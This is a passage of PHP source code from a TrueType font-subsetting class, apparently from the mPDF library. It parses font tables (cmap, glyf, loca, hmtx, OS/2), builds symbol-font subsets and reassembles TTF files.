$os2 = $this->_set_ushort($os2, 50, 0x0000); // ulCharRange (Unicode ranges) bits 88-95 | 80-87
$os2 = $this->_set_ushort($os2, 52, 0x0000); // ulCharRange (Unicode ranges) bits 72-79 | 64-71
$os2 = $this->_set_ushort($os2, 54, 0x0000); // ulCharRange (Unicode ranges) bits 120-127 | 112-119
$os2 = $this->_set_ushort($os2, 56, 0x0000); // ulCharRange (Unicode ranges) bits 104-111 | 96-103
}
$os2 = $this->_set_ushort($os2, 46, $nonBMP); // Unset Bit 57 (indicates non-BMP) - for interactive forms
$this->add('OS/2', $os2 );
}
fclose($this->fh);
// Put the TTF file together
$stm = '';
$this->endTTFile($stm);
//file_put_contents('testfont.ttf', $stm); exit;
return $stm ;
}
//================================================================================
// Also does SMP
function makeSubsetSIP($file, &$subset, $TTCfontID=0, $debug=false) {
$this->fh = fopen($file ,'rb') or die('Can\'t open file ' . $file);
$this->filename = $file;
$this->_pos = 0;
$this->unAGlyphs = false; // mPDF 5.4.05
$this->charWidths = '';
$this->glyphPos = array();
$this->charToGlyph = array();
$this->tables = array();
$this->otables = array();
$this->ascent = 0;
$this->descent = 0;
$this->numTTCFonts = 0;
$this->TTCFonts = array();
$this->skip(4);
if ($TTCfontID > 0) {
$this->version = $version = $this->read_ulong(); // TTC Header version now
if (!in_array($version, array(0x00010000,0x00020000)))
die("ERROR - Error parsing TrueType Collection: version=".$version." - " . $file);
$this->numTTCFonts = $this->read_ulong();
for ($i=1; $i<=$this->numTTCFonts; $i++) {
$this->TTCFonts[$i]['offset'] = $this->read_ulong();
}
$this->seek($this->TTCFonts[$TTCfontID]['offset']);
$this->version = $version = $this->read_ulong(); // TTFont version again now
}
$this->readTableDirectory($debug);
///////////////////////////////////
// head - Font header table
///////////////////////////////////
$this->seek_table("head");
$this->skip(50);
$indexToLocFormat = $this->read_ushort();
$glyphDataFormat = $this->read_ushort();
///////////////////////////////////
// hhea - Horizontal header table
///////////////////////////////////
$this->seek_table("hhea");
$this->skip(32);
$metricDataFormat = $this->read_ushort();
$orignHmetrics = $numberOfHMetrics = $this->read_ushort();
///////////////////////////////////
// maxp - Maximum profile table
///////////////////////////////////
$this->seek_table("maxp");
$this->skip(4);
$numGlyphs = $this->read_ushort();
///////////////////////////////////
// cmap - Character to glyph index mapping table
///////////////////////////////////
$cmap_offset = $this->seek_table("cmap");
$this->skip(2);
$cmapTableCount = $this->read_ushort();
$unicode_cmap_offset = 0;
for ($i=0;$i<$cmapTableCount;$i++) {
$platformID = $this->read_ushort();
$encodingID = $this->read_ushort();
$offset = $this->read_ulong();
$save_pos = $this->_pos;
if (($platformID == 3 && $encodingID == 10) || $platformID == 0) { // Microsoft, Unicode Format 12 table HKCS
$format = $this->get_ushort($cmap_offset + $offset);
if ($format == 12) {
$unicode_cmap_offset = $cmap_offset + $offset;
break;
}
}
$this->seek($save_pos );
}
if (!$unicode_cmap_offset)
die('Font does not have cmap for Unicode (platform 3, encoding 1, format 4, or platform 0, any encoding, format 4)');
// Format 12 CMAP does characters above Unicode BMP i.e. some HKCS characters U+20000 and above
if ($format == 12) {
$this->maxUniChar = 0;
$this->seek($unicode_cmap_offset + 4);
$length = $this->read_ulong();
$limit = $unicode_cmap_offset + $length;
$this->skip(4);
$nGroups = $this->read_ulong();
$glyphToChar = array();
$charToGlyph = array();
for($i=0; $i<$nGroups ; $i++) {
$startCharCode = $this->read_ulong();
$endCharCode = $this->read_ulong();
$startGlyphCode = $this->read_ulong();
$offset = 0;
for ($unichar=$startCharCode;$unichar<=$endCharCode;$unichar++) {
$glyph = $startGlyphCode + $offset ;
$offset++;
$charToGlyph[$unichar] = $glyph;
if ($unichar < 196608) { $this->maxUniChar = max($unichar,$this->maxUniChar); }
$glyphToChar[$glyph][] = $unichar;
}
}
}
else
die('Font does not have cmap for Unicode (format 12)');
///////////////////////////////////
// hmtx - Horizontal metrics table
///////////////////////////////////
$scale = 1; // not used here
$this->getHMTX($numberOfHMetrics, $numGlyphs, $glyphToChar, $scale);
///////////////////////////////////
// loca - Index to location
///////////////////////////////////
$this->getLOCA($indexToLocFormat, $numGlyphs);
///////////////////////////////////////////////////////////////////
$glyphMap = array(0=>0);
$glyphSet = array(0=>0);
$codeToGlyph = array();
// Set a substitute if ASCII characters do not have glyphs
if (isset($charToGlyph[0x3F])) { $subs = $charToGlyph[0x3F]; } // Question mark
else { $subs = $charToGlyph[32]; }
foreach($subset AS $code) {
if (isset($charToGlyph[$code]))
$originalGlyphIdx = $charToGlyph[$code];
else if ($code<128) {
$originalGlyphIdx = $subs;
}
else { $originalGlyphIdx = 0; }
if (!isset($glyphSet[$originalGlyphIdx])) {
$glyphSet[$originalGlyphIdx] = count($glyphMap);
$glyphMap[] = $originalGlyphIdx;
}
$codeToGlyph[$code] = $glyphSet[$originalGlyphIdx];
}
list($start,$dummy) = $this->get_table_pos('glyf');
$n = 0;
while ($n < count($glyphMap)) {
$originalGlyphIdx = $glyphMap[$n];
$glyphPos = $this->glyphPos[$originalGlyphIdx];
$glyphLen = $this->glyphPos[$originalGlyphIdx + 1] - $glyphPos;
$n += 1;
if (!$glyphLen) continue;
$this->seek($start + $glyphPos);
$numberOfContours = $this->read_short();
if ($numberOfContours < 0) {
$this->skip(8);
$flags = GF_MORE;
while ($flags & GF_MORE) {
$flags = $this->read_ushort();
$glyphIdx = $this->read_ushort();
if (!isset($glyphSet[$glyphIdx])) {
$glyphSet[$glyphIdx] = count($glyphMap);
$glyphMap[] = $glyphIdx;
}
if ($flags & GF_WORDS)
$this->skip(4);
else
$this->skip(2);
if ($flags & GF_SCALE)
$this->skip(2);
else if ($flags & GF_XYSCALE)
$this->skip(4);
else if ($flags & GF_TWOBYTWO)
$this->skip(8);
}
}
}
$numGlyphs = $n = count($glyphMap);
$numberOfHMetrics = $n;
///////////////////////////////////
// name
///////////////////////////////////
// Needs to have a name entry in 3,0 (e.g. symbol) - original font will be 3,1 (i.e. Unicode)
$name = $this->get_table('name');
$name_offset = $this->seek_table("name");
$format = $this->read_ushort();
$numRecords = $this->read_ushort();
$string_data_offset = $name_offset + $this->read_ushort();
for ($i=0;$i<$numRecords; $i++) {
$platformId = $this->read_ushort();
$encodingId = $this->read_ushort();
if ($platformId == 3 && $encodingId == 1) {
$pos = 6 + ($i * 12) + 2;
$name = $this->_set_ushort($name, $pos, 0x00); // Change encoding to 3,0 rather than 3,1
}
$this->skip(8);
}
$this->add('name', $name);
///////////////////////////////////
// OS/2
///////////////////////////////////
if (isset($this->tables['OS/2'])) {
$os2 = $this->get_table('OS/2');
$os2 = $this->_set_ushort($os2, 42, 0x00); // ulCharRange (Unicode ranges)
$os2 = $this->_set_ushort($os2, 44, 0x00); // ulCharRange (Unicode ranges)
$os2 = $this->_set_ushort($os2, 46, 0x00); // ulCharRange (Unicode ranges)
$os2 = $this->_set_ushort($os2, 48, 0x00); // ulCharRange (Unicode ranges)
$os2 = $this->_set_ushort($os2, 50, 0x00); // ulCharRange (Unicode ranges)
$os2 = $this->_set_ushort($os2, 52, 0x00); // ulCharRange (Unicode ranges)
$os2 = $this->_set_ushort($os2, 54, 0x00); // ulCharRange (Unicode ranges)
$os2 = $this->_set_ushort($os2, 56, 0x00); // ulCharRange (Unicode ranges)
// Set Symbol character only in ulCodePageRange
$os2 = $this->_set_ushort($os2, 78, 0x8000); // ulCodePageRange = Bit #31 Symbol **** 78 = Bit 16-31
$os2 = $this->_set_ushort($os2, 80, 0x0000); // ulCodePageRange = Bit #31 Symbol **** 80 = Bit 0-15
$os2 = $this->_set_ushort($os2, 82, 0x0000); // ulCodePageRange = Bit #32- Symbol **** 82 = Bits 48-63
$os2 = $this->_set_ushort($os2, 84, 0x0000); // ulCodePageRange = Bit #32- Symbol **** 84 = Bits 32-47
$os2 = $this->_set_ushort($os2, 64, 0x01); // FirstCharIndex
$os2 = $this->_set_ushort($os2, 66, count($subset)); // LastCharIndex
// Set PANOSE first bit to 5 for Symbol
$os2 = $this->splice($os2, 32, chr(5).chr(0).chr(1).chr(0).chr(1).chr(0).chr(0).chr(0).chr(0).chr(0));
$this->add('OS/2', $os2 );
}
///////////////////////////////////
//tables copied from the original
///////////////////////////////////
$tags = array ('cvt ', 'fpgm', 'prep', 'gasp');
foreach($tags AS $tag) { // 1.02
if (isset($this->tables[$tag])) { $this->add($tag, $this->get_table($tag)); }
}
///////////////////////////////////
// post - PostScript
///////////////////////////////////
if (isset($this->tables['post'])) {
$opost = $this->get_table('post');
$post = "\x00\x03\x00\x00" . substr($opost,4,12) . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
}
$this->add('post', $post);
///////////////////////////////////
// hhea - Horizontal Header
///////////////////////////////////
$hhea = $this->get_table('hhea');
$hhea = $this->_set_ushort($hhea, 34, $numberOfHMetrics);
$this->add('hhea', $hhea);
///////////////////////////////////
// maxp - Maximum Profile
///////////////////////////////////
$maxp = $this->get_table('maxp');
$maxp = $this->_set_ushort($maxp, 4, $numGlyphs);
$this->add('maxp', $maxp);
///////////////////////////////////
// CMap table Formats [1,0,]6 and [3,0,]4
///////////////////////////////////
///////////////////////////////////
// Sort CID2GID map into segments of contiguous codes
///////////////////////////////////
$rangeid = 0;
$range = array();
$prevcid = -2;
$prevglidx = -1;
// for each character
foreach ($subset as $cid => $code) {
$glidx = $codeToGlyph[$code];
if ($cid == ($prevcid + 1) && $glidx == ($prevglidx + 1)) {
$range[$rangeid][] = $glidx;
} else {
// new range
$rangeid = $cid;
$range[$rangeid] = array();
$range[$rangeid][] = $glidx;
}
$prevcid = $cid;
$prevglidx = $glidx;
}
// cmap - Character to glyph mapping
$segCount = count($range) + 1; // + 1 Last segment has missing character 0xFFFF
$searchRange = 1;
$entrySelector = 0;
while ($searchRange * 2 <= $segCount ) {
$searchRange = $searchRange * 2;
$entrySelector = $entrySelector + 1;
}
$searchRange = $searchRange * 2;
$rangeShift = $segCount * 2 - $searchRange;
$length = 16 + (8*$segCount ) + ($numGlyphs+1);
$cmap = array(
4, $length, 0, // Format 4 Mapping subtable: format, length, language
$segCount*2,
$searchRange,
$entrySelector,
$rangeShift);
// endCode(s)
foreach($range AS $start=>$subrange) {
$endCode = $start + (count($subrange)-1);
$cmap[] = $endCode; // endCode(s)
}
$cmap[] = 0xFFFF; // endCode of last Segment
$cmap[] = 0; // reservedPad
// startCode(s)
foreach($range AS $start=>$subrange) {
$cmap[] = $start; // startCode(s)
}
$cmap[] = 0xFFFF; // startCode of last Segment
// idDelta(s)
foreach($range AS $start=>$subrange) {
$idDelta = -($start-$subrange[0]);
$n += count($subrange);
$cmap[] = $idDelta; // idDelta(s)
}
$cmap[] = 1; // idDelta of last Segment
// idRangeOffset(s)
foreach($range AS $subrange) {
$cmap[] = 0; // idRangeOffset[segCount] Offset in bytes to glyph indexArray, or 0
}
$cmap[] = 0; // idRangeOffset of last Segment
foreach($range AS $subrange) {
foreach($subrange AS $glidx) {
$cmap[] = $glidx;
}
}
$cmap[] = 0; // Mapping for last character
$cmapstr4 = '';
foreach($cmap AS $cm) { $cmapstr4 .= pack("n",$cm); }
///////////////////////////////////
// cmap - Character to glyph mapping
///////////////////////////////////
$entryCount = count($subset);
$length = 10 + $entryCount * 2;
$off = 20 + $length;
$hoff = $off >> 16;
$loff = $off & 0xFFFF;
$cmap = array(0, 2, // Index : version, number of subtables
1, 0, // Subtable : platform, encoding
0, 20, // offset (hi,lo)
3, 0, // Subtable : platform, encoding
$hoff, $loff, // offset (hi,lo)
6, $length, // Format 6 Mapping table: format, length
0, 1, // language, First char code
$entryCount
);
$cmapstr = '';
foreach($subset AS $code) { $cmap[] = $codeToGlyph[$code]; }
foreach($cmap AS $cm) { $cmapstr .= pack("n",$cm); }
$cmapstr .= $cmapstr4;
$this->add('cmap', $cmapstr);
///////////////////////////////////
// hmtx - Horizontal Metrics
///////////////////////////////////
$hmtxstr = '';
for($n=0;$n<$numGlyphs;$n++) {
$originalGlyphIdx = $glyphMap[$n];
$hm = $this->getHMetric($orignHmetrics, $originalGlyphIdx);
$hmtxstr .= $hm;
}
$this->add('hmtx', $hmtxstr);
///////////////////////////////////
// glyf - Glyph data
///////////////////////////////////
list($glyfOffset,$glyfLength) = $this->get_table_pos('glyf');
if ($glyfLength < $this->maxStrLenRead) {
$glyphData = $this->get_table('glyf');
}
$offsets = array();
$glyf = '';
$pos = 0;
for ($n=0;$n<$numGlyphs;$n++) {
$offsets[] = $pos;
$originalGlyphIdx = $glyphMap[$n];
$glyphPos = $this->glyphPos[$originalGlyphIdx];
$glyphLen = $this->glyphPos[$originalGlyphIdx + 1] - $glyphPos;
if ($glyfLength < $this->maxStrLenRead) {
$data = substr($glyphData,$glyphPos,$glyphLen);
}
else {
if ($glyphLen > 0) $data = $this->get_chunk($glyfOffset+$glyphPos,$glyphLen);
else $data = '';
}
if ($glyphLen > 0) $up = unpack("n", substr($data,0,2));
if ($glyphLen > 2 && ($up[1] & (1 << 15)) ) {
$pos_in_glyph = 10;
$flags = GF_MORE;
while ($flags & GF_MORE) {
$up = unpack("n", substr($data,$pos_in_glyph,2));
$flags = $up[1];
$up = unpack("n", substr($data,$pos_in_glyph+2,2));
$glyphIdx = $up[1];
$data = $this->_set_ushort($data, $pos_in_glyph + 2, $glyphSet[$glyphIdx]);
$pos_in_glyph += 4;
if ($flags & GF_WORDS) { $pos_in_glyph += 4; }
else { $pos_in_glyph += 2; }
if ($flags & GF_SCALE) { $pos_in_glyph += 2; }
else if ($flags & GF_XYSCALE) { $pos_in_glyph += 4; }
else if ($flags & GF_TWOBYTWO) { $pos_in_glyph += 8; }
}
}
$glyf .= $data;
$pos += $glyphLen;
if ($pos % 4 != 0) {
$padding = 4 - ($pos % 4);
$glyf .= str_repeat("\0",$padding);
$pos += $padding;
}
}
$offsets[] = $pos;
$this->add('glyf', $glyf);
///////////////////////////////////
// loca - Index to location
///////////////////////////////////
$locastr = '';
if ((($pos + 1) >> 1) > 0xFFFF) {
$indexToLocFormat = 1; // long format
foreach($offsets AS $offset) { $locastr .= pack("N",$offset); }
}
else {
$indexToLocFormat = 0; // short format
foreach($offsets AS $offset) { $locastr .= pack("n",($offset/2)); }
}
$this->add('loca', $locastr);
///////////////////////////////////
// head - Font header
///////////////////////////////////
$head = $this->get_table('head');
$head = $this->_set_ushort($head, 50, $indexToLocFormat);
$this->add('head', $head);
fclose($this->fh);
// Put the TTF file together
$stm = '';
$this->endTTFile($stm);
//file_put_contents('testfont.ttf', $stm); exit;
return $stm ;
}
//////////////////////////////////////////////////////////////////////////////////
// Recursively get composite glyph data
function getGlyphData($originalGlyphIdx, &$maxdepth, &$depth, &$points, &$contours) {
$depth++;
$maxdepth = max($maxdepth, $depth);
if (count($this->glyphdata[$originalGlyphIdx]['compGlyphs'])) {
foreach($this->glyphdata[$originalGlyphIdx]['compGlyphs'] AS $glyphIdx) {
$this->getGlyphData($glyphIdx, $maxdepth, $depth, $points, $contours);
}
}
else if (($this->glyphdata[$originalGlyphIdx]['nContours'] > 0) && $depth > 0) { // simple
$contours += $this->glyphdata[$originalGlyphIdx]['nContours'];
$points += $this->glyphdata[$originalGlyphIdx]['nPoints'];
}
$depth--;
}
//////////////////////////////////////////////////////////////////////////////////
// Recursively get composite glyphs
function getGlyphs($originalGlyphIdx, &$start, &$glyphSet, &$subsetglyphs) {
$glyphPos = $this->glyphPos[$originalGlyphIdx];
$glyphLen = $this->glyphPos[$originalGlyphIdx + 1] - $glyphPos;
if (!$glyphLen) {
return;
}
$this->seek($start + $glyphPos);
$numberOfContours = $this->read_short();
if ($numberOfContours < 0) {
$this->skip(8);
$flags = GF_MORE;
while ($flags & GF_MORE) {
$flags = $this->read_ushort();
$glyphIdx = $this->read_ushort();
if (!isset($glyphSet[$glyphIdx])) {
$glyphSet[$glyphIdx] = count($subsetglyphs); // old glyphID to new glyphID
$subsetglyphs[$glyphIdx] = true;
}
$savepos = ftell($this->fh);
$this->getGlyphs($glyphIdx, $start, $glyphSet, $subsetglyphs);
$this->seek($savepos);
if ($flags & GF_WORDS)
$this->skip(4);
else
$this->skip(2);
if ($flags & GF_SCALE)
$this->skip(2);
else if ($flags & GF_XYSCALE)
$this->skip(4);
else if ($flags & GF_TWOBYTWO)
$this->skip(8);
}
}
}
//////////////////////////////////////////////////////////////////////////////////
function getHMTX($numberOfHMetrics, $numGlyphs, &$glyphToChar, $scale) {
$start = $this->seek_table("hmtx");
$aw = 0;
$this->charWidths = str_pad('', 256*256*2, "\x00");
if ($this->maxUniChar > 65536) { $this->charWidths .= str_pad('', 256*256*2, "\x00"); } // Plane 1 SMP
if ($this->maxUniChar > 131072) { $this->charWidths .= str_pad('', 256*256*2, "\x00"); } // Plane 2 SMP
$nCharWidths = 0;
if (($numberOfHMetrics*4) < $this->maxStrLenRead) {
$data = $this->get_chunk($start,($numberOfHMetrics*4));
$arr = unpack("n*", $data);
}
else { $this->seek($start); }
for( $glyph=0; $glyph<$numberOfHMetrics; $glyph++) {
if (($numberOfHMetrics*4) < $this->maxStrLenRead) {
$aw = $arr[($glyph*2)+1];
}
else {
$aw = $this->read_ushort();
$lsb = $this->read_ushort();
}
if (isset($glyphToChar[$glyph]) || $glyph == 0) {
if ($aw >= (1 << 15) ) { $aw = 0; } // 1.03 Some (arabic) fonts have -ve values for width
// although should be unsigned value - comes out as e.g. 65108 (intended -50)
if ($glyph == 0) {
$this->defaultWidth = $scale*$aw;
continue;
}
foreach($glyphToChar[$glyph] AS $char) {
//$this->charWidths[$char] = intval(round($scale*$aw));
if ($char != 0 && $char != 65535) {
$w = intval(round($scale*$aw));
if ($w == 0) { $w = 65535; }
if ($char < 196608) {
$this->charWidths[$char*2] = chr($w >> 8);
$this->charWidths[$char*2 + 1] = chr($w & 0xFF);
$nCharWidths++;
}
}
}
}
}
$data = $this->get_chunk(($start+$numberOfHMetrics*4),($numGlyphs*2));
$arr = unpack("n*", $data);
$diff = $numGlyphs-$numberOfHMetrics;
$w = intval(round($scale*$aw));
if ($w == 0) { $w = 65535; }
for( $pos=0; $pos<$diff; $pos++) {
$glyph = $pos + $numberOfHMetrics;
if (isset($glyphToChar[$glyph])) {
foreach($glyphToChar[$glyph] AS $char) {
if ($char != 0 && $char != 65535) {
if ($char < 196608) {
$this->charWidths[$char*2] = chr($w >> 8);
$this->charWidths[$char*2 + 1] = chr($w & 0xFF);
$nCharWidths++;
}
}
}
}
}
// NB 65535 is a set width of 0
// First bytes define number of chars in font
$this->charWidths[0] = chr($nCharWidths >> 8);
$this->charWidths[1] = chr($nCharWidths & 0xFF);
}
function getHMetric($numberOfHMetrics, $gid) {
$start = $this->seek_table("hmtx");
if ($gid < $numberOfHMetrics) {
$this->seek($start+($gid*4));
$hm = fread($this->fh,4);
}
else {
$this->seek($start+(($numberOfHMetrics-1)*4));
$hm = fread($this->fh,2);
$this->seek($start+($numberOfHMetrics*2)+($gid*2));
$hm .= fread($this->fh,2);
}
return $hm;
}
function getLOCA($indexToLocFormat, $numGlyphs) {
$start = $this->seek_table('loca');
$this->glyphPos = array();
if ($indexToLocFormat == 0) {
$data = $this->get_chunk($start,($numGlyphs*2)+2);
$arr = unpack("n*", $data);
for ($n=0; $n<=$numGlyphs; $n++) {
$this->glyphPos[] = ($arr[$n+1] * 2);
}
}
else if ($indexToLocFormat == 1) {
$data = $this->get_chunk($start,($numGlyphs*4)+4);
$arr = unpack("N*", $data);
for ($n=0; $n<=$numGlyphs; $n++) {
$this->glyphPos[] = ($arr[$n+1]);
}
}
else
die('Unknown location table format '.$indexToLocFormat);
}
// CMAP Format 4
function getCMAP4($unicode_cmap_offset, &$glyphToChar, &$charToGlyph ) {
$this->maxUniChar = 0;
$this->seek($unicode_cmap_offset + 2);
$length = $this->read_ushort();
$limit = $unicode_cmap_offset + $length;
$this->skip(2);
$segCount = $this->read_ushort() / 2;
$this->skip(6);
$endCount = array();
for($i=0; $i<$segCount; $i++) { $endCount[] = $this->read_ushort(); }
$this->skip(2);
$startCount = array();
for($i=0; $i<$segCount; $i++) { $startCount[] = $this->read_ushort(); }
$idDelta = array();
for($i=0; $i<$segCount; $i++) { $idDelta[] = $this->read_short(); } // ???? was unsigned short
$idRangeOffset_start = $this->_pos;
$idRangeOffset = array();
for($i=0; $i<$segCount; $i++) { $idRangeOffset[] = $this->read_ushort(); }
for ($n=0;$n<$segCount;$n++) {
$endpoint = ($endCount[$n] + 1);
for ($unichar=$startCount[$n];$unichar<$endpoint;$unichar++) {
if ($idRangeOffset[$n] == 0)
$glyph = ($unichar + $idDelta[$n]) & 0xFFFF;
else {
$offset = ($unichar - $startCount[$n]) * 2 + $idRangeOffset[$n];
$offset = $idRangeOffset_start + 2 * $n + $offset;
if ($offset >= $limit)
$glyph = 0;
else {
$glyph = $this->get_ushort($offset);
if ($glyph != 0)
$glyph = ($glyph + $idDelta[$n]) & 0xFFFF;
}
}
$charToGlyph[$unichar] = $glyph;
if ($unichar < 196608) { $this->maxUniChar = max($unichar,$this->maxUniChar); }
$glyphToChar[$glyph][] = $unichar;
}
}
// mPDF 5.4.05
if ($this->unAGlyphs) {
if (isset($this->tables['post'])) {
$this->seek_table("post");
$formata = $this->read_ushort();
$formatb = $this->read_ushort();
// Only works on Format 2.0
if ($formata != 2 || $formatb != 0) { die("Cannot set unAGlyphs for this font (".$file."). POST table must be in Format 2."); }
$this->skip(28);
$nGlyfs = $this->read_ushort();
$glyphNameIndex = array();
for ($i=0; $i<$nGlyfs; $i++) {
$glyphNameIndex[($this->read_ushort())] = $i;
}
$opost = $this->get_table('post');
$ptr = 34+($nGlyfs*2);
for ($i=0; $i<$nGlyfs; $i++) {
$len = ord(substr($opost,$ptr,1));
$ptr++;
$name = substr($opost,$ptr,$len);
$gid = $glyphNameIndex[$i+258];
// Select uni0600.xxx(x) - uni06FF.xxx(x)
if (preg_match('/^uni(06[0-9a-f]{2})\.(fina|medi|init|fin|med|ini)$/i',$name,$m)) {
if (!isset($glyphToChar[$gid]) || (isset($glyphToChar[$gid]) && is_array($glyphToChar[$gid]) && count($glyphToChar[$gid])==1 && $glyphToChar[$gid][0]>57343 && $glyphToChar[$gid][0]<63489)) { // if set in PUA private use area E000-F8FF, or NOT Unicode mapped
$uni = hexdec($m[1]);
$form = strtoupper(substr($m[2],0,1));
// Assign new PUA Unicode between F500 - F7FF
$bit = $uni & 0xFF;
if ($form == 'I') { $bit += 0xF600; }
else if ($form == 'M') { $bit += 0xF700; }
else { $bit += 0xF500; }
// ADD TO CMAP
$glyphToChar[$gid][] = $bit;
$charToGlyph[$bit] = $gid;
}
}
// LAM with ALEF ligatures (Mandatory ligatures)
else if (preg_match('/^uni064406(22|23|25|27)(\.fina|\.fin){0,1}$/i',$name,$m)) {
if ($m[1]=='22') {
if ($m[2]) { $uni = hexdec('FEF6'); } else { $uni = hexdec('FEF5'); }
}
else if ($m[1]=='23') {
if ($m[2]) { $uni = hexdec('FEF8'); } else { $uni = hexdec('FEF7'); }
}
else if ($m[1]=='25') {
if ($m[2]) { $uni = hexdec('FEFA'); } else { $uni = hexdec('FEF9'); }
}
else if ($m[1]=='27') {
if ($m[2]) { $uni = hexdec('FEFC'); } else { $uni = hexdec('FEFB'); }
}
if (!isset($glyphToChar[$gid]) || (isset($glyphToChar[$gid]) && is_array($glyphToChar[$gid]) && count($glyphToChar[$gid])==1 && $glyphToChar[$gid][0]>57343 && $glyphToChar[$gid][0]<63489)) { // if set in PUA private use area E000-F8FF, or NOT Unicode mapped
// ADD TO CMAP
$glyphToChar[$gid][] = $uni;
$charToGlyph[$uni] = $gid;
}
}
$ptr += $len;
}
}
}
}
// Put the TTF file together
function endTTFile(&$stm) {
$stm = '';
$numTables = count($this->otables);
$searchRange = 1;
$entrySelector = 0;
while ($searchRange * 2 <= $numTables) {
$searchRange = $searchRange * 2;
$entrySelector = $entrySelector + 1;
}
$searchRange = $searchRange * 16;
$rangeShift = $numTables * 16 - $searchRange;
// Header
if (_TTF_MAC_HEADER) {
$stm .= (pack("Nnnnn", 0x74727565, $numTables, $searchRange, $entrySelector, $rangeShift)); // Mac
}
else {
$stm .= (pack("Nnnnn", 0x00010000 , $numTables, $searchRange, $entrySelector, $rangeShift)); // Windows
}
// Table directory
$tables = $this->otables;
ksort ($tables);
$offset = 12 + $numTables * 16;
foreach ($tables AS $tag=>$data) {
if ($tag == 'head') { $head_start = $offset; }
$stm .= $tag;
$checksum = $this->calcChecksum($data);
$stm .= pack("nn", $checksum[0],$checksum[1]);
$stm .= pack("NN", $offset, strlen($data));
$paddedLength = (strlen($data)+3)&~3;
$offset = $offset + $paddedLength;
}
// Table data
foreach ($tables AS $tag=>$data) {
$data .= "\0\0\0";
$stm .= substr($data,0,(strlen($data)&~3));
}
$checksum = $this->calcChecksum($stm);
$checksum = $this->sub32(array(0xB1B0,0xAFBA), $checksum);
$chk = pack("nn", $checksum[0],$checksum[1]);
$stm = $this->splice($stm,($head_start + 8),$chk);
return $stm ;
}
function repackageTTF($file, $TTCfontID=0, $debug=false, $unAGlyphs=false) { // mPDF 5.4.05
$this->unAGlyphs = $unAGlyphs; // mPDF 5.4.05
$this->filename = $file;
$this->fh = fopen($file ,'rb') or die('Can\'t open file ' . $file);
$this->_pos = 0;
$this->charWidths = '';
$this->glyphPos = array();
$this->charToGlyph = array();
$this->tables = array();
$this->otables = array();
$this->ascent = 0;
$this->descent = 0;
$this->numTTCFonts = 0;
$this->TTCFonts = array();
$this->skip(4);
$this->maxUni = 0;
if ($TTCfontID > 0) {
$this->version = $version = $this->read_ulong(); // TTC Header version now
if (!in_array($version, array(0x00010000,0x00020000)))
die("ERROR - Error parsing TrueType Collection: version=".$version." - " . $file);
$this->numTTCFonts = $this->read_ulong();
for ($i=1; $i<=$this->numTTCFonts; $i++) {
$this->TTCFonts[$i]['offset'] = $this->read_ulong();
}
$this->seek($this->TTCFonts[$TTCfontID]['offset']);
$this->version = $version = $this->read_ulong(); // TTFont version again now
}
$this->readTableDirectory($debug);
$tags = array ('OS/2', 'cmap', 'glyf', 'head', 'hhea', 'hmtx', 'loca', 'maxp', 'name', 'post', 'cvt ', 'fpgm', 'gasp', 'prep');
/*
Tables which require glyphIndex
hdmx
kern
LTSH
Tables which do NOT require glyphIndex
VDMX
GDEF
GPOS
GSUB
JSTF
DSIG
PCLT - not recommended
*/
foreach($tags AS $tag) {
if (isset($this->tables[$tag])) { $this->add($tag, $this->get_table($tag)); }
}
fclose($this->fh);
$stm = '';
$this->endTTFile($stm);
return $stm ;
}
}
?>